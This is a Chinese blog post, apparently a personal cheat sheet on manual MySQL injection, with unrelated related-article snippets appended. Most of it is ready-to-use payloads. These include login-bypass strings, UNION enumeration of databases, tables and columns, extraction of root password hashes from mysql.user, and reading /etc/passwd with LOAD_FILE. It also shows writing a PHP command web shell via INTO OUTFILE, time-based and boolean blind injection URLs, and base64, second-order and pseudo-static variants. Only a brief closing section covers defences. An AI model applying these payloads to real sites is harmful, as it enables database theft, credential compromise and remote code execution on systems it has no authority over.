0.明白存在的位置:get型 post型 cookie型 http头注入

1.先测试注入点,注册框、搜索框、地址栏啥的,判断是字符型,搜索型还是数字型

字符型 1' and '1'='1 成功, 1' and '1'='2 报错   1成功,1'报错 注意闭合

万能密码:1' or ’1‘=’1 #

数字型去掉'同理

搜索型 select password from  users where user  like '%  admin %'   注意通配符闭合

SELECT * FROM `users` WHERE user_id ='1 'or 1=1 # ' 可以爆出所有数据,除非limit 1,原理和万能密码一样,后接了or 此where功能失效,相当于SELECT * FROM `users`

2.猜字段,判断select返回的有多少字段(多少列)

1’ order by 1 #

1’ order by 2 #.  //原理是2是按照select后返回的第二列排序显示。如果没有这一列,报错

暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*

and 1=2 代表业务内的查询一定不会成功,不显示,让它显示union之后的语句,看看报错或者显示到几,就知道业务查询了几个字段(列)

union查询前后的列数必须相等, 1,2,3,4,5是为了凑字段(例),凑够才能正常执行,同时还能判断网站显示位,

有关limit:前面是admin' and 1=2 union select....limit 1  //不显示原有查询,只从自己构造的查询里取前一条

       admin' and 1=2 union select....limit 2  //不显示原有查询,只从自己构造的查询里取前两条

        admin' and 1=2 union select....limit 0,1  //不显示原有查询,只从自己构造的查询里从第1条位置开始,取1个数据

        admin' and 1=2 union select....limit 2,4  //不显示原有查询,只从自己构造的查询里从第3条位置开始,取4个数据

3.查询数据库名,

union select database(),2 #    //后面如果是字符型接#注释掉后面的,database(),2按照要求要返回同原始查询相同数目的字段数,也可以接    database(),database(),凑够原始查询字段数就可以

version(), database(),user()这几个相当于全局变量 , 在数据库中直接select version()就会返回对应的数据库版本信息;

跨库旁注:

一。查看所有数据库名

1'union select 1,schema_name from schemata #

4.查询表名

有了数据库下一步就是确定其中有哪些数据表,我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表
其中有tables数据库,用来存放数据表的信息。插入以下的payload 
1’ union select table_name,1 from information_schema.tables where table_schema=’上面查询出来的数据库名’ #  前面依然保持字段数

不出意外,下面除了第一行正常数据,下面的都是所在业务数据库表名,自行通过limit限制查询指定表

像一些access需要猜表名,select1,2,3,4,5,...from admin//如果有admin,返回正常,没有就报错

information_schema.tables:

information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

Table_schema:数据库名

Table_name:表名

5.了解列名

我们还不知道这个数据表里有哪些字段(列),这就要用到mysql里 information_schema其中columns这个数据表了。插入如下的payload 
1’ union select column_name,2 from information_schema.columns where table_name=’上面的其中一个表名’ and table_schema=’业务所在的数据库名’

假如出来了user  和password字段

information_schema.columns:

information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

Column_name:列名

6.啥都知道了,直接查

1' union select user,password from users

以下为转载防备忘

 //这个可以判断数据库的版本是否为数字5开头
  select * from db where 1 = 1 and mid(version(),1,1)=5

  //通过union查询可以获取数据库的版本信息, 当然了, union查询要求字段一定匹配;
  select * from orders union select 1,version() from orders

  //确定查询的字段数,如果返回成功, 那么union会成功;
  select * from orders union select 1,1 from orders

  //通过在where后面添加and ord(mid(version(),1,1))<50 判断数据库的版本号
  select * from db where 1 = 1 and ord(mid(version(),1,1))<50

  //这个可以查询到当前的用户信息(比如root)
  select * from orders union select database(),user() from orders

  //返回用户数
  select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user

  //获取用户名为root的密码;
  select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'

  //根据当前字段数获取information_schema中保存所有数据库信息
  select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA

  //information_schema.TABLES这个字段保存的是mysql的表信息
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100

  //获取world这个数据库的表结构, 当然, 你首先爆数据库名;
  select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100

  //获取字段, 要知道数据库和表的名字,就可以获取字段的名字了
  select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci  //尼玛啊, 哟了root这个是直接爆密码的节奏啊;

  select * from orders where 1=1 and 1=2 union select User,Password from mysql.use

  //如果略显无聊, 我们可以利用;insert into orders(name) values('hehe');增加自己想要的字段;

  select * from orders where 1=1 ;insert into orders(name) values('hehe');

  //我们可以把查询出来的数据保存,当然了,你要知道保存的目录.... 就是传jsp, asp, php小马, 小马传大马, 大马传木马, 然后就呵呵了( ̄▽ ̄)"
  select user from mysql.user where 1=1 into outfile 'e:/sql.txt';

  //o(^▽^)o,下面是转载的,防忘记,

  暴字段长度
    order by num/*

  匹配字段
    and 1=1 union select 1,2,3,4,5…….n/*

  暴字段位置
    and 1=2 union select 1,2,3,4,5…..n/*

  利用内置函数暴数据库信息
    database() user()

    version():数据库版本

    @@version_compile_os:操作系统

  不用猜解可用字段暴数据库信息(有些网站不适用):

    and 1=2 union all select version() /*
    and 1=2 union all select database() /*
    and 1=2 union all select user() /*

  操作系统信息:
    and 1=2 union all select @@global.version_compile_os from mysql.user /*

  数据库权限:
    and ord(mid(user(),1,1))=114 /* 返回正常说明为root

  暴库 (mysql>5.0)

  Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
    and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

  猜表
    and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

  猜字段
    and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

  暴密码
  and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1 //限制仅显示一条信息,避免页面出错

  高级用法(一个可用字段显示两个数据内容):
    Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

 

 八、文件操作
  1. 文件操作权限
  一定是要root 权限,是什么权限由web应用连接的用户决定
  在MySQL中,存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()
  权限和用户名在mysql.user
  如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用
  但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了
  也可使用如下语句查询
  2. 读文件(可不要求绝对路径)
  路径“/”或 “\\”
  读文件函数LOAD_FILE()
  Examples:
  SELECT LOAD_FILE('/etc/passwd'); 
  SELECT LOAD_FILE(0x2F6574632F706173737764);
  注意点:
  LOAD_FILE的默认目录@@datadir
  文件必须是当前用户可读
  读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
  3. 写文件
  INTO OUTFILE/DUMPFILE
  经典写文件例子:
  如果写入的内容中包含单引号等特殊字符,可以转成hex值写入,这里不需要用单引号将文件内容括住闭合
  To write a PHP shell:
  SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
  这两个函数都可以写文件,但是有很大的差别
  INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
  INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
  当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的
  注意点:
  INTO OUTFILE不会覆盖文件
  INTO OUTFILE必须是查询语句的最后一句
  路径名是不能编码的,必须使用单引号

  load_file()常用的敏感信息见我另外一篇博客,暴路径写马拿shell的一些姿势

replace(load_file(0x2F6574632F706173737764),0x3c,0x20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码.

9.盲注

基于时间的盲注:

sleep()函数可以延时是使数据库执行,同时也可以判断当前语句是否能正确执行,正确执行会延时

例如:union select 1,2,sleep(5) from....

if(条件,true参数,false参数),如果条件成立,返回true参数,否则返回false参数

   0.明白 ’ and if(length(database())=6,sleep(5),sleep(0))  --+ 管用,这里页面正不正常无所谓,重要的是看执行时间

   1.定字段数

union select 1,2,sleep(2) //order by失效时判断是不是3个字段(结果集的列、显示位),是则延迟两秒显示结果

   2.定数据库

 union select1,2,sleep(  if(length(database())=5,5,0)  ) from....//判断数据库名长度是不是5位,是的话网页延迟5秒执行,否则立即执行,也可以用>5、<5来判断

简单的:.php?id=1 and sleep(  if(length(database())=5,5,0) ) 也可以行的通,因为这里sleep一定会执行。

union select1,2,sleep(   if(mid(database(),1,1)='s',5,0)  ) from...//判断数据库名第一位是不是s,此法可逐位猜解数据库名

http://127.0.0.1/index.php?user=admin' and sleep(if(mid(database(),2,1)='v',5,0))  -- #   //判断数据库名字第二位是不是v

   3.定表名

admin' and 1=2  union select sleep(if(mid(table_name,1,1)='u',5,0)),1 ,2 from information_schema.tables where table_schema='dvwa' limit 1,1 #

//dvwa数据库第二个表位置,取一个数量的表,判断它表名第一位是不是u,是的话延时5秒显示结果

select * from users union select  sleep(if(user='admin',5,3)),2,3,4,5,6,7,8 from users limit 0,1 ; //判断表内有没有admin,有就延迟5秒显示,否则三秒,从第一条位置开始取一条结果,且只让sleep执行一次,否则延迟元组数*5秒

   4.定列名

也是以下思路,先用length判断长度再用if猜解,其中ORD()返回字符串第一位的ASCII值,但是在access中,这个函数是asc()

基于布尔型的盲注:

若为布尔盲注,则按照以下步骤进行:
一、得到数据库的长度
http://localhost/index.php?id=2' and length(database())>1%23
二、获取数据库名称
姿势:http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
 
三、获取表长度
姿势:http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
四、获取表名
和第二步获得数据库名差不多,姿势稍微变了一下:
http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
五、获取字段的个数和长度
姿势:http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
其中limit 0,1表示第一列,limit 1,1为第二列,依次类推。
六、获取字段名称
姿势:http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23

旁注原理很简单,跨库注入,不说了。

10.加密注入、base64注入

http://127.0.0.1/sqlin/base64/index.php?id=MSBhbmQgMT0x

id=后面是base64加密的1 and 1=1,有些工具、sqlmap不加temper 跑不出来,

流程:业务层base64加密生成,显示在url上面,然后传入后台时base64解密,与MD5大写或者小写(不超过F)一种加数字,位数固定相比,base64位数不固定26种字母加大小写混编,后面常常以等于号结束。

渗透思路,渗透的sql语句先用工具base64加密,再拼接在注入点后面

11.二次注入

很智慧,在能输入的地方,比如留言板之类写入sql语句。然后这些语句提交后被当作评论或正常内容送入数据库存储。

数据存进去了,查看的时候好戏来了,自己发的内容被展示时,查询语句和自己提交的sql语句拼接,达到查询敏感信息,有注入效果。

比如一张表user有ID 、password、profile。填写介绍时,在profile写 Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1

而碰巧业务查询语句是select id,password,profile from user where id=' $id '或者select * from  user where id=' $id ',正好就拼接成了

select * from  user where id='Drkang' and 1=2 union select 1,user(),database() from.....and '1'='1 '。在织梦CMs里以前经常出这些问题。

而显示如果是类似$while(isset($result)){  echo $id $password $profile}这样的语句。返回的是自己注入的信息。

12.伪静态注入:

http://127.0.0.1/index/id/1.html

可以经过中转为.php?id=1注入,也可以进行手动测试

http://127.0.0.1/index/id/1/**/and/**/1=1.html,注释只能用/**/不能用#

还有的后面是用base64加密的伪静态

跑sqlmap时:sqlmap -u http://127.0.0.1/index/id/1*.html

注意一下就可以了,原理思路还是和普通注入一样。

13防御加固:

过滤函数:

1.addslashes() $id=addslashes($_GET['x'])   mysql_real_escape_string,mysql_escape_string

2.魔术引号(‘ " null  \)。magic_quotes_gpc所有被返回的数据都会被\转义。php4.3.4是一个分界点

3.自定义的过滤函数、正则表达等

4.参数化sql、存储过程

php.ini合理配置,dispaly_error关掉。不显示报错路径

mysql注入大全及防御的更多相关文章

  1. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  2. Mysql注入攻击与防御(思维导图笔记)

  3. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  4. MySQL注入与防御

    1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...

  5. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  6. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  7. 十三:SQL注入之MYSQL注入

    MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆.作为安全开发工作者,攻 ...

  8. MySQL 函数大全

    mysql函数大全 对于针对字符串位置的操作,第一个位置被标记为1. ASCII(str) 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NU ...

  9. 常用mysql命令大全

    常用的MySQL命令大全 一.连接MySQL 格式: mysql -h主机地址 -u用户名 -p用户密码 1.例1:连接到本机上的MYSQL. 首先在打开DOS窗口,然后进入目录 mysqlbin,再 ...

随机推荐

  1. EBS 页面影藏“个性化页”

    以R12.1.3为例 影藏“个性化页”的方法: 修改配置文件: 个性化自助定义        值 由“是”改成“否” 注:修改之后需要清一下高速缓存,如果要显示“个性化页”则做相反配置 修改前: 修改 ...

  2. mysql索引失效问题

    1.两表关联使用的条件字段中字段的长度是否是一致的 2.两表关联使用的条件字段中字段的编码是否是一致的

  3. android 播放音乐媒体文件(三)

    看段小代码: mMediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);mMediaPlayer.setDataSource(url);mM ...

  4. linux的awk使用

    awk统计password文件中,登陆shell为“/sbin/nologin”的用户个数 [root@localhost ~]# cat passwd | grep "/sbin/nolo ...

  5. Uep的confirm和alert弹窗

    $.confirm("确认删除", "确定删除所选服务么?", function() { ajaxgrid.delCheckedRecords(); var g ...

  6. D5(太长了md没写完)

    动态规划 三种常见实现方法 对于一个斐波那契数列,我们想要求第n项的值,就需要一项一项的递归来求 来看代码 f[o] = 0; f[1] = 1; for (int i = 2; i <= n; ...

  7. django路由的二级分发

    基于二级分发设计url路由 path('index/', views.index), path('index/', ([ path('test01/', test01), path('test02/' ...

  8. Dart学习笔记-循环

    1.for循环 main() { // for循环 ; i < ; i++) { print(i); // 0,1,2,3,4,5,6,7,8,9 } } 2.while循环 main() { ...

  9. ping一个网段下的所有ip

    for /l %i in (1,1,255) do ping -n 1 -w 60 192.168.0.%i | find "Reply" >>d:\pingall.l ...

  10. jmeter响应数据Unicode编码转换为汉字

    2018-07-09     10:24:34 每次用jmeter做接口测试时,响应信息中文总是显示Unicode编码格式,每次都要在网上寻找这一段转换的代码,但是我发现在网上找这段代码有点麻烦,像我 ...